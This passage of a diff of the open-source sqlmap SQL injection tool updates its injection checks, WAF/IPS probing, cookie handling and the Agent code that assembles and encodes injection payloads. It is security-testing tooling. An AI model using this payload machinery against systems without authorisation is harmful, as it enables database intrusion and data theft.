 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -73,15 +75,18 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
+from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
+from lib.core.settings import INFERENCE_EQUALS_CHAR
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
-from lib.core.settings import IDS_WAF_CHECK_RATIO
-from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
+from lib.core.settings import IPS_WAF_CHECK_RATIO
+from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
+from lib.core.settings import MAX_STABILITY_DELAY
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
 from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
 from lib.core.settings import SINGLE_QUOTE_MARKER
@@ -89,9 +94,8 @@ from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UNICODE_ENCODING
-from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
-from lib.core.settings import INFERENCE_EQUALS_CHAR
+from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
@@ -151,7 +155,7 @@ def checkSqlInjection(place, parameter, value):
                 # payload), ask the user to limit the tests to the fingerprinted
                 # DBMS
                 if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
-                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                     msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                     kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
 
@@ -161,7 +165,7 @@ def checkSqlInjection(place, parameter, value):
             # regardless of --level and --risk values provided
             if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                 msg = "for the remaining tests, do you want to include all tests "
-                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                 msg += "level (%d)" % conf.level if conf.level < 5 else ""
                 msg += " and " if conf.level < 5 and conf.risk < 3 else ""
                 msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -219,10 +223,10 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip test if the user's wants to test only for a specific
             # technique
-            if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
+            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                 debugMsg = "skipping test '%s' because the user " % title
                 debugMsg += "specified to test only for "
-                debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.tech)
+                debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                 logger.debug(debugMsg)
                 continue
 
@@ -343,7 +347,7 @@ def checkSqlInjection(place, parameter, value):
                             msg += "only basic UNION tests if there is not "
                             msg += "at least one other (potential) "
                             msg += "technique found. Do you want to reduce "
-                            msg +="the number of requests? [Y/n] "
+                            msg += "the number of requests? [Y/n] "
                             kb.futileUnion = readInput(msg, default='Y', boolean=True)
 
                         if kb.futileUnion and int(_) > 10:
@@ -597,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
                                         if candidates:
                                             candidates = sorted(candidates, key=len)
                                             for candidate in candidates:
-                                                if re.match(r"\A\w+\Z", candidate):
+                                                if re.match(r"\A\w{2,}\Z", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                     break
 
                                             conf.string = candidate
@@ -784,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                 logger.info(infoMsg)
 
-                                process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
-                                process.wait()
+                                try:
+                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
+                                    process.wait()
+                                except Exception as ex:
+                                    errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
+                                    logger.error(errMsg)
 
                             kb.alerted = True
 
@@ -923,6 +931,9 @@ def checkFalsePositives(injection):
                 randInt1 = min(randInt1, randInt2, randInt3)
                 randInt3 = max(randInt1, randInt2, randInt3)
 
+                if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
+                    continue
+
                 if randInt3 > randInt2 > randInt1:
                     break
 
@@ -1097,6 +1108,7 @@ def heuristicCheckSqlInjection(place, parameter):
         logger.warn(infoMsg)
 
     kb.heuristicMode = True
+    kb.disableHtmlDecoding = True
 
     randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
     value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1116,6 +1128,7 @@ def heuristicCheckSqlInjection(place, parameter):
             logger.info(infoMsg)
             break
 
+    kb.disableHtmlDecoding = False
     kb.heuristicMode = False
 
     return kb.heuristicTest
@@ -1222,8 +1235,8 @@ def checkStability():
 
     firstPage = kb.originalPage  # set inside checkConnection()
 
-    delay = 1 - (time.time() - (kb.originalPageTime or 0))
-    delay = max(0, min(1, delay))
+    delay = MAX_STABILITY_DELAY - (time.time() - (kb.originalPageTime or 0))
+    delay = max(0, min(MAX_STABILITY_DELAY, delay))
     time.sleep(delay)
 
     secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
@@ -1381,10 +1394,10 @@ def checkWaf():
 
     kb.redirectChoice = REDIRECTION.YES
     kb.resendPostOnRedirect = False
-    conf.timeout = IDS_WAF_CHECK_TIMEOUT
+    conf.timeout = IPS_WAF_CHECK_TIMEOUT
 
     try:
-        retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] or 0) < IDS_WAF_CHECK_RATIO
+        retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
     except SqlmapConnectionException:
         retVal = True
     finally:
@@ -1510,14 +1523,15 @@ def checkConnection(suppressOutput=False):
             conf.disablePrecon = True
 
         if not kb.originalPage and wasLastResponseHTTPError():
-            errMsg = "unable to retrieve page content"
-            raise SqlmapConnectionException(errMsg)
+            if getLastRequestHTTPError() not in (conf.ignoreCode or []):
+                errMsg = "unable to retrieve page content"
+                raise SqlmapConnectionException(errMsg)
         elif wasLastResponseDBMSError():
             warnMsg = "there is a DBMS error found in the HTTP response body "
             warnMsg += "which could interfere with the results of the tests"
             logger.warn(warnMsg)
         elif wasLastResponseHTTPError():
-            if getLastRequestHTTPError() != conf.ignoreCode:
+            if getLastRequestHTTPError() not in (conf.ignoreCode or []):
                 warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
                 warnMsg += "which could interfere with the results of the tests"
                 logger.warn(warnMsg)
@@ -1558,6 +1572,16 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = threadData.lastPage
         kb.originalCode = threadData.lastCode
 
+    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+        candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
+
+        message = "you have not declared cookie(s), while "
+        message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
+        message += "Do you want to use those [Y/n] "
+        if readInput(message, default='Y', boolean=True):
+            kb.mergeCookies = True
+            conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
+
     return True
 
 def checkInternet():

lib/controller/controller.py

@@ -1,23 +1,25 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import os
 import re
 import time
 
 from lib.controller.action import action
-from lib.controller.checks import checkSqlInjection
-from lib.controller.checks import checkDynParam
-from lib.controller.checks import checkStability
-from lib.controller.checks import checkString
-from lib.controller.checks import checkRegexp
 from lib.controller.checks import checkConnection
+from lib.controller.checks import checkDynParam
 from lib.controller.checks import checkInternet
 from lib.controller.checks import checkNullConnection
+from lib.controller.checks import checkRegexp
+from lib.controller.checks import checkSqlInjection
+from lib.controller.checks import checkStability
+from lib.controller.checks import checkString
 from lib.controller.checks import checkWaf
 from lib.controller.checks import heuristicCheckSqlInjection
 from lib.core.agent import agent
@@ -29,17 +31,19 @@ from lib.core.common import getSafeExString
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import isDigit
 from lib.core.common import isListLike
 from lib.core.common import parseTargetUrl
 from lib.core.common import popValue
 from lib.core.common import pushValue
+from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
 from lib.core.common import safeCSValue
 from lib.core.common import showHttpErrorCodes
-from lib.core.common import urlencode
 from lib.core.common import urldecode
+from lib.core.common import urlencode
 from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import kb
@@ -59,16 +63,16 @@ from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapSystemException
-from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.exception import SqlmapValueException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
-from lib.core.settings import IGNORE_PARAMETERS
-from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
 from lib.core.settings import HOST_ALIASES
+from lib.core.settings import IGNORE_PARAMETERS
+from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import USER_AGENT_ALIASES
 from lib.core.target import initTargetEnv
@@ -127,7 +131,7 @@ def _selectInjection():
         message += "[q] Quit"
         choice = readInput(message, default='0').upper()
 
-        if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
+        if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
             index = int(choice)
         elif choice == 'Q':
             raise SqlmapUserQuitException
@@ -200,10 +204,11 @@ def _randomFillBlankFields(value):
             for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
                 item = match.group("result")
                 if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
+                    newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
                     if item[-1] == DEFAULT_GET_POST_DELIMITER:
-                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
+                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
                     else:
-                        retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
+                        retVal = retVal.replace(item, "%s%s" % (item, newValue))
 
     return retVal
 
@@ -254,13 +259,9 @@ def _saveToResultsFile():
             line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
             conf.resultsFP.write(line)
 
-        if not results:
-            line = "%s,,,,%s" % (conf.url, os.linesep)
-            conf.resultsFP.write(line)
-
         conf.resultsFP.flush()
     except IOError as ex:
-        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
+        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
         raise SqlmapSystemException(errMsg)
 
 @stackedmethod
@@ -290,7 +291,7 @@ def start():
         return False
 
     if kb.targets and len(kb.targets) > 1:
-        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
+        infoMsg = "found a total of %d targets" % len(kb.targets)
         logger.info(infoMsg)
 
     hostCount = 0
@@ -298,7 +299,6 @@ def start():
 
     for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
         try:
-
             if conf.checkInternet:
                 infoMsg = "checking for Internet connection"
                 logger.info(infoMsg)
@@ -314,7 +314,7 @@ def start():
                     dataToStdout("\n")
 
             conf.url = targetUrl
-            conf.method = targetMethod.upper() if targetMethod else targetMethod
+            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
             conf.data = targetData
             conf.cookie = targetCookie
             conf.httpHeaders = list(initialHeaders)
@@ -372,7 +372,7 @@ def start():
                     message += "\nCookie: %s" % conf.cookie
 
                 if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
 
                 if conf.forms and conf.method:
                     if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -387,7 +387,7 @@ def start():
                         break
                     else:
                         if conf.method != HTTPMETHOD.GET:
-                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
+                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                             conf.data = readInput(message, default=conf.data)
                             conf.data = _randomFillBlankFields(conf.data)
                             conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
@@ -420,6 +420,15 @@ def start():
             if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                 continue
 
+            if conf.rParam and kb.originalPage:
+                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+
+                for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
+                    name, _ = match.groups()
+                    options = tuple(re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _))
+                    if options:
+                        kb.randomPool[name] = options
+
             checkWaf()
 
             if conf.nullConnection:
@@ -427,7 +436,7 @@ def start():
 
             if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
 
-                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
+                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                     # NOTE: this is not needed anymore, leaving only to display
                     # a warning message to the user in case the page is not stable
                     checkStability()
@@ -447,18 +456,18 @@ def start():
                 for place in parameters:
                     # Test User-Agent and Referer headers only if
                     # --level >= 3
-                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
-                    skip |= (place == PLACE.REFERER and conf.level < 3)
+                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
+                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
 
                     # --param-filter
                     skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
 
                     # Test Host header only if
                     # --level >= 5
-                    skip |= (place == PLACE.HOST and conf.level < 5)
+                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
 
                     # Test Cookie header only if --level >= 2
-                    skip |= (place == PLACE.COOKIE and conf.level < 2)
+                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
 
                     skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                     skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
@@ -473,9 +482,6 @@ def start():
                     if skip:
                         continue
 
-                    if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-                        continue
-
                     if place not in conf.paramDict:
                         continue
 
@@ -531,7 +537,7 @@ def start():
                             infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
                             logger.info(infoMsg)
 
-                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
+                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                             check = checkDynParam(place, parameter, value)
 
                             if not check:
@@ -602,6 +608,14 @@ def start():
                 if kb.vainRun and not conf.multipleTargets:
                     errMsg = "no parameter(s) found for testing in the provided data "
                     errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
+                    if kb.originalPage:
+                        advice = []
+                        if not conf.forms and re.search(r"<form", kb.originalPage) is not None:
+                            advice.append("--forms")
+                        if not conf.crawlDepth and re.search(r"href=[\"']/?\w", kb.originalPage) is not None:
+                            advice.append("--crawl=2")
+                        if advice:
+                            errMsg += ". You are advised to rerun with '%s'" % ' '.join(advice)
                     raise SqlmapNoneDataException(errMsg)
                 else:
                     errMsg = "all tested parameters do not appear to be injectable."
@@ -610,7 +624,7 @@ def start():
                         errMsg += " Try to increase values for '--level'/'--risk' options "
                         errMsg += "if you wish to perform more tests."
 
-                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
+                    if isinstance(conf.technique, list) and len(conf.technique) < 5:
                         errMsg += " Rerun without providing the option '--technique'."
 
                     if not conf.textOnly and kb.originalPage:
@@ -721,9 +735,9 @@ def start():
         logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
 
     if conf.multipleTargets:
-        if conf.resultsFilename:
+        if conf.resultsFile:
             infoMsg = "you can find results of scanning in multiple targets "
-            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
+            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
             logger.info(infoMsg)
 
     return True

lib/controller/handler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/agent.py

@@ -1,17 +1,18 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import base64
 import re
 
 from lib.core.common import Backend
 from lib.core.common import extractRegexResult
 from lib.core.common import filterNone
 from lib.core.common import getSQLSnippet
+from lib.core.common import getTechnique
+from lib.core.common import getTechniqueData
 from lib.core.common import isDBMSVersionAtLeast
 from lib.core.common import isNumber
 from lib.core.common import isTechniqueAvailable
@@ -25,6 +26,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import zeroDepthSearch
 from lib.core.compat import xrange
+from lib.core.convert import encodeBase64
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -48,7 +50,9 @@ from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.unescaper import unescaper
+from thirdparty import six
 
 class Agent(object):
     """
@@ -89,8 +93,8 @@ class Agent(object):
 
         if kb.forceWhere:
             where = kb.forceWhere
-        elif where is None and isTechniqueAvailable(kb.technique):
-            where = kb.injection.data[kb.technique].where
+        elif where is None and isTechniqueAvailable(getTechnique()):
+            where = getTechniqueData().where
 
         if kb.injection.place is not None:
             place = kb.injection.place
@@ -117,7 +121,7 @@ class Agent(object):
             paramString = origValue
             origValue = origValue.split(kb.customInjectionMark)[0]
             if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
-                origValue = origValue.split('>')[-1]
+                origValue = re.split(r"['\">]", origValue)[-1]
             elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                 origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
             else:
@@ -167,17 +171,21 @@ class Agent(object):
 
         if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
             # TODO: support for POST_HINT
-            newValue = base64.b64encode(newValue)
-            origValue = base64.b64encode(origValue)
+            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
             _ = "%s%s" % (origValue, kb.customInjectionMark)
+
             if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
-                newValue = '"%s"' % newValue
+                newValue = '"%s"' % self.addPayloadDelimiters(newValue)
             elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
-                newValue = "'%s'" % newValue
+                newValue = "'%s'" % self.addPayloadDelimiters(newValue)
+            else:
+                newValue = self.addPayloadDelimiters(newValue)
+
             newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
-            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
+            retVal = paramString.replace(_, newValue)
             retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -234,17 +242,17 @@ class Agent(object):
         expression = unescaper.escape(expression)
         query = None
 
-        if where is None and kb.technique and kb.technique in kb.injection.data:
-            where = kb.injection.data[kb.technique].where
+        if where is None and getTechnique() is not None and getTechnique() in kb.injection.data:
+            where = getTechniqueData().where
 
         # If we are replacing (<where>) the parameter original value with
         # our payload do not prepend with the prefix
-        if where == PAYLOAD.WHERE.REPLACE:
+        if where == PAYLOAD.WHERE.REPLACE and not conf.prefix:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
             query = ""
 
         # If the technique is stacked queries (<stype>) do not put a space
         # after the prefix or it is in GROUP BY / ORDER BY (<clause>)
-        elif kb.technique == PAYLOAD.TECHNIQUE.STACKED:
+        elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
             query = kb.injection.prefix
         elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
             query = kb.injection.prefix
@@ -265,7 +273,7 @@ class Agent(object):
 
         return query
 
-    def suffixQuery(self, expression, comment=None, suffix=None, where=None):
+    def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
         """
         This method appends the DBMS comment to the
         SQL injection request
@@ -282,9 +290,9 @@ class Agent(object):
         # Take default values if None
         suffix = kb.injection.suffix if kb.injection and suffix is None else suffix
 
-        if kb.technique and kb.technique in kb.injection.data:
-            where = kb.injection.data[kb.technique].where if where is None else where
-            comment = kb.injection.data[kb.technique].comment if comment is None else comment
+        if getTechnique() is not None and getTechnique() in kb.injection.data:
+            where = getTechniqueData().where if where is None else where
+            comment = getTechniqueData().comment if comment is None else comment
 
         if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
             comment = queries[DBMS.ACCESS].comment.query
@@ -303,10 +311,10 @@ class Agent(object):
 
             expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
 
-        return re.sub(r";\W*;", ";", expression)
+        return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
 
     def cleanupPayload(self, payload, origValue=None):
-        if payload is None:
+        if not isinstance(payload, six.string_types):
             return
 
         replacements = {
@@ -331,6 +339,7 @@ class Agent(object):
 
         if origValue is not None:
             origValue = getUnicode(origValue)
+
             if "[ORIGVALUE]" in payload:
                 payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
             if "[ORIGINAL]" in payload:
@@ -349,6 +358,7 @@ class Agent(object):
                     inferenceQuery = inference.query
 
                 payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
+
             elif not kb.testMode:
                 errMsg = "invalid usage of inference payload without "
                 errMsg += "knowledge of underlying DBMS"
@@ -391,7 +401,7 @@ class Agent(object):
         if "hex" in rootQuery:
             hexField = rootQuery.hex.query % field
         else:
-            warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
+            warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
             singleTimeWarnMessage(warnMsg)
 
         return hexField
@@ -441,7 +451,7 @@ class Agent(object):
                 else:
                     nulledCastedField = rootQuery.isnull.query % nulledCastedField
 
-            kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
+            kb.binaryField = conf.binaryFields and field in conf.binaryFields
             if conf.hexConvert or kb.binaryField:
                 nulledCastedField = self.hexConvertField(nulledCastedField)
 
@@ -649,7 +659,7 @@ class Agent(object):
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                 concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
-                concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
+                concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
             elif fieldsSelect:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -1005,7 +1015,7 @@ class Agent(object):
                         limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
 
                     limitedQuery += "NOT IN (%s" % (limitStr % num)
-                    limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1")
+                    limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
                 else:
                     match = re.search(r" ORDER BY (\w+)\Z", query)
                     field = match.group(1) if match else field
@@ -1079,7 +1089,7 @@ class Agent(object):
         Removes payload delimiters from inside the input string
         """
 
-        return value.replace(PAYLOAD_DELIMITER, '') if value else value
+        return value.replace(PAYLOAD_DELIMITER, "") if value else value
 
     def extractPayload(self, value):
         """
@@ -1105,7 +1115,12 @@ class Agent(object):
 
     def whereQuery(self, query):
         if conf.dumpWhere and query:
-            prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
+            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+            if match:
+                suffix = match.group(0)
+                prefix = query[:-len(suffix)]
+            else:
+                prefix, suffix = query, ""
 
             if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1114,7 +1129,9 @@ class Agent(object):
